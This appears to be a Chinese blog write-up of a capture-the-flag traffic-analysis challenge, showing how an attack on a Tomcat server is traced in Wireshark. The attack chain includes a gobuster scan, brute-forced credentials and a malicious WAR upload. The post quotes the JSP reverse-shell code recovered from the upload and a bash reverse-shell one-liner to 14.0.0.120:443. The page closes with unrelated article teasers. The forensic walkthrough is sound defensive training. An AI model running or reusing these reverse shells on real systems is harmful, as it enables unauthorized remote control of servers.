当前位置: 首页 > news >正文

[玄机]流量特征分析-常见攻击事件 tomcat

题目网址【玄机】:https://xj.edisec.net/

Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是最受欢迎的Java EE Web应用服务器之一。

问一、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP  flag格式:flag{ip},如:flag{127.0.0.1}

题目思路:

根据标题命名得知分析的是tomcat流量包,老样子,我们可以直接查看分组计数器进行分析。通过对统计数据的分析,我们可以得到http数据大致的访问信息,再通过查询语句过滤流量包得到成功访问的流量包

方法:

1、左键点击“统计”->“HTTP”->“分组计数器”查看分析HTTP流量数据

可以看到大部分都是GET请求的数据包,只有1个POST请求包(习惯性看了一下这个POST请求包,果然有收获,大致看一眼请求包内容盲猜上传了木马文件—文件里面有上传的文件,这个留着后面有用),先看一下GET请求的数据包

2.http.request.method==GET 查看GET请求的数据包

大致翻看了一下,流量里面一个就两个请求的地址10.0.0.115和14.0.0.120,而10.0.0.115又和受害主机一个地址段,很合理的理由怀疑14.0.0.120(当然,如果仔细翻看一下流量,可以看出应该是黑客使用工具对目录进行了扫描,实际情况中遇到了也可以向甲方确认一下地址)

flag{14.0.0.120}

问二、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

题目思路:

一开始没好好读题,还以为出题者想要让我们通过流量包中的经纬度坐标来确定城市位置(wireshark安装第三方 GeoIP 数据库可以实现,有兴趣的大家可以实验一下),又看了看题目发现提示了通过IP查找,那就直接上工具了,分享两个网页工具:

站长之家:IP所在地批量查询 - 站长工具

IP属地查询:ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名

方法:

直接使用网页工具查询,得到了广州市 

flag{guangzhou}

问三、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

题目思路:

该题目中受害者主机只有一个端口开放了网页服务,所以还是可以直接通过GET请求包内容就可以查看了

方法: 

http.request.method==GET 查看GET请求的数据包,随意一个请求包右键“追踪流”->“HTTP流”

可以看到请求的端口号是8080

flag{8080}

问四、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

题目思路:

前面分析过,流量像是受到了目录扫描,应该使用的是目录扫描工具,这时候就可以看一下User-Agent,大多数没有魔改过的扫描器User-Agent都是带有特征的

方法:

 http.request.method==GET 查看GET请求的数据包,依据是选一个请求包右键“追踪流”->“HTTP流”(但是需要注意选择源地址为14.0.0.120地址的)

可以看到使用的工具是gobuster(感觉这个现在用的比较少了,感兴趣的可以自行了解一下)

flag{gobuster}

问五、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}

题目思路:

原本是想直接搜索例如:“user”、“pass”这类的关键字的,但是搜索查看了好一阵没有什么结果,在查看username字段时发现了一个账号密码但是发现不是这个账号密码(这好像是个报错,其中tomcat-users.html文件中是存储tomcat账户密码的文件),翻找了一下报文,发现后面的请求包中多了一个Authorization字段,解码后分析得到正确的账号密码

Authorization字段用于在客户端请求中包含访问令牌或认证凭据,以便服务器能够验证请求者的身份。当客户端需要访问受保护的资源时,服务器可能会首先发送一个401 Unauthorized响应,要求客户端提供有效的认证信息。然后客户端会在随后的请求中包含Authorization头,以获取对资源的访问权限。

方法:

1.http contains "username" 查看http协议中包含username的流量包

2.点击最后一个流量包(一般后面的都是成功访问的,从后往前找比较方便,也可以比较流量包的大小来查找),右键“追踪流”->“HTTP流”,向下翻找,也可直接搜索Authorization,同样翻找到最后,发现有成功回显200的响应包

3.复制Basic后面的值进行base64解密,得到账号密码

flag{admin-tomcat}

问六、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

题目思路:

这时候就用到前面说的POST请求包了,记得前面说了应该是上传了一个文件,现在去搜索看一下

方法:

1. http.request.method == POST 查看POST请求的数据包

2.右键“追踪流”->“HTTP流”,可以查看到上传文件的文件名

 flag{JXQOZY.war}

问七、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

题目思路:

本来想着直接搜索一下上传的文件名,看一下干了什么操作,但是通过搜索并没有发现什么有用的信息,这时候就想着既然流量包里面有压缩文件的源码,不如直接下载下来,看看黑客到底上传了什么文件,后面拿到文件后也是成功找到了黑客入侵后执行的命令

方法:

1.左键“文件”->“导出对象”->“HTTP”,翻找一下,找到图中这三个文件就是有关于黑客上传木马的文件,把这个三个文件都都出来(因为前两个重名了,我就分别重命名为了111和222)

2.分别使用编辑器打开,发现最后一个是空的,那就不用看了,第二个一眼就看出来是html文件,可以将后缀改为html进行查看

打开后可以看到这个就是默认的界面,里面还存在着文件上传的接口

3.查看111文件,就是一个压缩包的源码,把多余的都删除掉,只留下源码部分再更改文件后缀为zip(本人电脑不支持解压war用zip替代一下,一样可以用)

4.这时我们就可以看到黑客上传的文件内容了,里面一共两个文件,主要的内容在rzpmxxmm.jsp当中,我们来解析一下代码

if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {ShellPath = new String("/bin/sh");
} else {ShellPath = new String("cmd.exe");
}Socket socket = new Socket( "10.0.0.142", 80 );Process process = Runtime.getRuntime().exec( ShellPath );( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();} catch( Exception e ) {}

这行代码获取当前操作系统的名称,转换为小写,然后检查是否不包含子字符串"windows";如果不是Windows操作系统,则将变量ShellPath设置为"/bin/sh",这是linux系统上的shell路径;如果操作系统是Windows,则将ShellPath设置为"cmd.exe",这是Windows系统上的命令行解释器;创建一个新的Socket对象,尝试连接到IP地址10.0.0.142上的端口80(HTTP默认端口)。

 5.到这里我们已经得到了想要的信息了,黑客创建了一个Socket,端口使用的是80;我们使用命令进行搜索,ip.src == 10.0.0.112 && tcp.port == 80 过滤源地址为10.0.0.112和端口为80的流量包

6.右键“追踪流”->“HTTP流”,查看流量包内容,可以看到黑客执行的命令,根据题目提示我们了解到是进行权限维持的命令,而最后一条命令就是反弹一个新的shell

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}

后续

此时就已经结束了,但是好奇心驱使下,还是查看了一下后面黑客执行的操作,使用命令:

 ip.src == 10.0.0.112 && tcp.port == 443 过滤源地址为10.0.0.112和端口为443的流量包

 我们通过回显的信息可以看到其实黑客在登录后就直接就使用exit命令退出了,并没有继续进行下一步操作


 后续本人会陆续在公众号进行更新,希望大家点点关注!谢谢大佬们!

相关文章:

[玄机]流量特征分析-常见攻击事件 tomcat

题目网址【玄机】:https://xj.edisec.net/ Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是…...

【TOOLS】Project 2 Maven Central

发布自己的项目到maven中央仓库 Maven Central Account 访问:https://central.sonatype.com/,点击右上角,根据提示注册账号 构建User token ,用于访问中央仓库的API: 点击右上角,查看账户点击Generate Us…...

【Opencv】模糊

消除噪声 用该像素周围的平均值代替该像素值 4个函数 blur():最经典的 import os import cv2 img cv2.imread(os.path.join(.,dog.jpg)) k_size 7 #窗口大小,数字越大,模糊越强 img_blur cv2.blur(img,(k_size,k_size)) #窗口是正方形&#xff…...

函数式编程范式

文章目录 函数式编程范式不可变性(Immutable)纯函数(Pure Functions)函数作为一等公民(First-Class Functions)高阶函数(Higher-Order Functions函数组合(Function Composition&…...

特征缩放的秘籍:sklearn中的数据标准化技术

特征缩放的秘籍:sklearn中的数据标准化技术 在机器学习中,特征缩放(Feature Scaling)是数据预处理的重要步骤,它确保了不同量纲和范围的特征在模型训练中具有相同的重要性。Scikit-learn(简称sklearn&…...

hdfs文件系统

简述什么是HDFS,以及HDFS作用 ? HDFS在Hadoop中的作用是为海量的数据提供了存储,能提供高吞吐量的数据访问,HDFS有高容错性的 特点,并且设计用来部署在低廉的硬件上;而且它提供高吞吐量来访问应用程序的数…...

基于STM32设计的个人健康检测仪(华为云IOT)(191)

基于STM32设计的个人健康检测仪(华为云IOT)(191) 文章目录 一、设计需求1.1 设计需求总结1.2 设计思路【1】整体设计思路【2】整体构架【3】ESP8266模块配置【4】上位机开发思路【5】供电方式1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献【4】课题研究的意义【…...

面试:CUDA Tiling 和 CPU tiling 技术详解

目录 一、CUDA Tiling 和 CPU Tiling 技术概述 (一)技术原理 (二)应用场景 (三)优势和劣势 二、Tiling 技术在深度学习中的应用 三、Tiling 技术的缺点 一、CUDA Tiling 和 CPU Tiling 技术概述 Til…...

SQL语句中,`TRUNCATE` 和 `DELETE`的区别

TRUNCATE 和 DELETE 是 SQL 中用于删除表中数据的两种命令,它们有一些关键区别: 1. 基本区别 DELETE: 删除表中的数据,但不会删除表结构和索引。可以使用 WHERE 子句来删除特定的记录,也可以不使用 WHERE 子句来删除所有记录。会…...

【Git】.gitignore全局配置与忽略匹配规则详解

设置全局配置 1)在C:/Users/用户名/目录下创建.gitignore文件,在里面添加忽略规则。 如何创建 .gitignore 文件? 新建一个.txt文件,重命名(包括后缀.txt)为 .gitignore 即可。 2)将.gitignore设…...

基于 YOLO V10 Fine-Tuning 训练自定义的目标检测模型

一、YOLO V10 在本专栏的前面几篇文章中,我们使用 ultralytics 公司开源发布的 YOLO-V8 模型,分别 Fine-Tuning 实验了 目标检测、关键点检测、分类 任务,实验后发现效果都非常的不错,但它已经不是最强的了。最新的 YOLO-V10 已经…...

Java学习2

1 如果要使用Long类型的变量,在数据值的后面加上L为后缀(可以是大写也可以是小写),例如 Long i9999999L; 2 如果要使用float类型的变量,在数据值的后面加上F为后缀(可以是大写也可以是小写)&a…...

CSS、less、 Sass、

1 CSS 1.1 css中.a.b 与 .a .b(中间有空格)的区别 区别: .a.b是获取同时含有a和b的元素.a .b(中间有空格),是获取.a元素下的所有.b元素<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name=&quo…...

北京大学:利用好不确定性,8B小模型也能超越GPT-4

大模型有一个显著的特点&#xff0c;那就是不确定性——对于特定输入&#xff0c;相同的LLM在不同解码配置下可能生成显著不同的输出。 比如问一问chatgpt“今天开心吗&#xff1f;”&#xff0c;可以得到两种不同的回答。 常用的解码策略有两种&#xff0c;一个是贪婪解码&am…...

​​​​​​​哪些云服务商已通过了等保2.0合规性评估?​​​​​​​

已通过等保2.0合规性评估的云服务商 根据最新的搜索结果&#xff0c;以下是已通过等保2.0合规性评估的云服务商&#xff1a; 阿里云&#xff1a;阿里云的“电子政务云平台系统”是全国首个通过等保2.0国标测评的云平台&#xff0c;显示了其在云计算领域的安全合规能力。华为云…...

PHP在线加密系统源码

历时半年&#xff0c;它再一次迎来更新[飘过] 刚刚发的那个有点问题&#xff0c;重新修了一下 本次更新内容有点多 1. 更新加密算法&#xff08;这应该是最后一次更新加密算法了&#xff0c;以后主要更新都在框架功能上面了&#xff09; 2. 适配php56-php74 3. 取消批量加…...

OpenCV学习笔记 比较基于RANSAC、最小二乘算法的拟合

一、RANSAC算法 https://skydance.blog.csdn.net/article/details/134887458https://skydance.blog.csdn.net/article/details/134887458 二、最小二乘算法 https://skydance.blog.csdn.net/article/details/115413982...

前端JS特效第53集:带声音的烟花模拟绽放特效插件

带声音的烟花模拟绽放特效插件&#xff0c;先来看看效果&#xff1a; 部分核心的代码如下(全部代码在文章末尾)&#xff1a; <!DOCTYPE html> <html lang"en" > <head><meta charset"UTF-8"><title>Firework Simulator v2&…...

好展位,抢先订!2025浙江(玉环)机械展

2025第18届浙江&#xff08;玉环&#xff09;机械工业展览会 时间地点&#xff1a;2025年4月25-28日 玉环会展中心 近年来&#xff0c;随着玉环工业经济的蓬勃发展&#xff0c;汽摩配件、阀门水暖五金产业、铜加工、眼镜配件、金属加工生产等行业&#xff0c;如同贪婪的巨人&…...

Java面试八股之Spring如何解决循环依赖

Spring如何解决循环依赖 在Spring框架中&#xff0c;循环依赖问题通常发生在两个或多个Bean相互依赖的情况下。Spring为了解决循环依赖问题&#xff0c;采用了不同的策略&#xff0c;这些策略主要取决于Bean的作用域以及依赖注入的方式。下面是一些关键点&#xff1a; 单例Be…...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

html-<abbr> 缩写或首字母缩略词

定义与作用 <abbr> 标签用于表示缩写或首字母缩略词&#xff0c;它可以帮助用户更好地理解缩写的含义&#xff0c;尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时&#xff0c;会显示一个提示框。 示例&#x…...

针对药品仓库的效期管理问题,如何利用WMS系统“破局”

案例&#xff1a; 某医药分销企业&#xff0c;主要经营各类药品的批发与零售。由于药品的特殊性&#xff0c;效期管理至关重要&#xff0c;但该企业一直面临效期问题的困扰。在未使用WMS系统之前&#xff0c;其药品入库、存储、出库等环节的效期管理主要依赖人工记录与检查。库…...

电脑桌面太单调,用Python写一个桌面小宠物应用。

下面是一个使用Python创建的简单桌面小宠物应用。这个小宠物会在桌面上游荡&#xff0c;可以响应鼠标点击&#xff0c;并且有简单的动画效果。 import tkinter as tk import random import time from PIL import Image, ImageTk import os import sysclass DesktopPet:def __i…...

python基础语法Ⅰ

python基础语法Ⅰ 常量和表达式变量是什么变量的语法1.定义变量使用变量 变量的类型1.整数2.浮点数(小数)3.字符串4.布尔5.其他 动态类型特征注释注释是什么注释的语法1.行注释2.文档字符串 注释的规范 常量和表达式 我们可以把python当作一个计算器&#xff0c;来进行一些算术…...

C++11 constexpr和字面类型:从入门到精通

文章目录 引言一、constexpr的基本概念与使用1.1 constexpr的定义与作用1.2 constexpr变量1.3 constexpr函数1.4 constexpr在类构造函数中的应用1.5 constexpr的优势 二、字面类型的基本概念与使用2.1 字面类型的定义与作用2.2 字面类型的应用场景2.2.1 常量定义2.2.2 模板参数…...

Android Framework预装traceroute执行文件到system/bin下

文章目录 Android SDK中寻找traceroute代码内置traceroute到SDK中traceroute参数说明-I 参数&#xff08;使用 ICMP Echo 请求&#xff09;-T 参数&#xff08;使用 TCP SYN 包&#xff09; 相关文章 Android SDK中寻找traceroute代码 设备使用的是Android 11&#xff0c;在/s…...

Python打卡训练营学习记录Day49

知识点回顾&#xff1a; 通道注意力模块复习空间注意力模块CBAM的定义 作业&#xff1a;尝试对今天的模型检查参数数目&#xff0c;并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...

数据库优化实战指南:提升性能的黄金法则

在现代软件系统中&#xff0c;数据库性能直接影响应用的响应速度和用户体验。面对数据量激增、访问压力增大&#xff0c;数据库性能瓶颈经常成为项目痛点。如何科学有效地优化数据库&#xff0c;提升查询效率和系统稳定性&#xff0c;是每位开发与运维人员必备的技能。 本文结…...